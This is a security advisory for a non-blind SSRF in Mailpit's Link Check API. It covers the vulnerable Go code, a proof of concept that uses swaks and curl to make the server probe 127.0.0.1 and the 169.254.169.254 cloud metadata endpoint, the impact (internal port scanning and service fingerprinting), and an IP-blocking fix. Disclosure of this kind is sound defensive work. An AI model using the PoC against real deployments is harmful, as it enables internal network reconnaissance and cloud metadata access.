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GHSA-mpf7-p9x7-96r3

MediumCVSS 5.8 / 10
Published Feb 26, 2026·Last modified Mar 9, 2026
Affected Components(0)

No affected components available

Description

Summary

The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.

This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.

Details

The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:

  func doHead(link string, followRedirects bool) (int, error) {
      timeout := time.Duration(10 * time.Second)
      tr := &http.Transport{}
      // ...
      client := http.Client{
          Timeout:   timeout,
          Transport: tr,
          // ...
      }
      req, err := http.NewRequest("HEAD", link, nil)
      // ...
      res, err := client.Do(req)  // No IP validation — requests any URL
      return res.StatusCode, nil
  }

The call chain is:

  1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84
  2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16
  3. Which extracts all URLs from the email's HTML (<a href>, <img src>, <link href>) and text body, then passes them to getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14
  4. Which spawns goroutines calling doHead() for each URL with no filtering

There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).

PoC

Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.

Step 1 — Start a listener to prove the SSRF:

python3 -m http.server 8081 --bind 127.0.0.1

Step 2 — Send a crafted email via SMTP:

  swaks --to recipient@example.com \
        --from attacker@example.com \
        --server localhost:1025 \
        --header "Content-Type: text/html" \
        --body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
  href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'

Step 3 — Get the message ID:

curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID' Or use the shorthand ID latest.

Step 4 — Trigger the link check:

curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .

Expected result:

  • The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
  • The API response contains the status code and status text for each internal target:
  {
    "Errors": 0,
    "Links": [
      {"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
      {"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
    ]
  }

-- This behavior can be identified by creating a email txt file as

cat email.txt > 
From: sender@example.com
To: recipient@example.com
Subject: Email Subject

This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408

  • Start a Python server on port 8408

  • execute the command mailpit sendmail < email.txt

  • Observe a request to your python server and link status on the UI as OK

The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning

Impact

Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.

What an attacker can do:

  • Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages (connection refused vs. timeout vs. 200 OK).
  • Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.
  • Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior.
  • Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.

This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making exploitation straightforward without any timing or side-channel inference.

Remediation

Then standard Go library can be used to identify a local address being requested and deny it.

func isBlockedIP(ip net.IP) bool {
        return ip.IsLoopback() ||
                ip.IsPrivate() ||
                ip.IsLinkLocalUnicast() ||
                ip.IsLinkLocalMulticast() ||
                ip.IsUnspecified() ||
                ip.IsMulticast()
  }

  - IsLoopback() — 127.0.0.0/8, ::1
  - IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
  - IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
  - IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16
  - IsUnspecified() — 0.0.0.0, ::
  - IsMulticast() — 224.0.0.0/4, ff00::/8

And the safe dialer that uses it:

 func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
        return func(ctx context.Context, network, address string) (net.Conn, error) {
                host, port, err := net.SplitHostPort(address)
                if err != nil {
                        return nil, err
                }

                ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
                if err != nil {
                        return nil, err
                }

                for _, ip := range ips {
                        if isBlockedIP(ip.IP) {
                                return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
                        }
                }

                return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
        }
  }

Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on redirect hops:

  func doHead(link string, followRedirects bool) (int, error) {
        if !isValidLinkURL(link) {
                return 0, fmt.Errorf("invalid URL: %s", link)
        }

        dialer := &net.Dialer{
                Timeout:   5 * time.Second,
                KeepAlive: 30 * time.Second,
        }

        tr := &http.Transport{
                DialContext: safeDialContext(dialer),
        }

        if config.AllowUntrustedTLS {
                tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
        }

        client := http.Client{
                Timeout:   10 * time.Second,
                Transport: tr,
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                        if len(via) >= 3 {
                                return errors.New("too many redirects")
                        }
                        if !followRedirects {
                                return http.ErrUseLastResponse
                        }
                        if !isValidLinkURL(req.URL.String()) {
                                return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
                        }
                        return nil
                },
        }

        req, err := http.NewRequest("HEAD", link, nil)
        if err != nil {
                logger.Log().Errorf("[link-check] %s", err.Error())
                return 0, err
        }

        req.Header.Set("User-Agent", "Mailpit/"+config.Version)

        res, err := client.Do(req)
        if err != nil {
                if res != nil {
                        return res.StatusCode, err
                }
                return 0, err
        }

        return res.StatusCode, nil
  }

  func isValidLinkURL(str string) bool {
        u, err := url.Parse(str)
        return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
  }

This fix should mitigate the reported SSRF.

Risk Scores
Base Score
5.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information.

Threat Intelligence
5.3

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.47%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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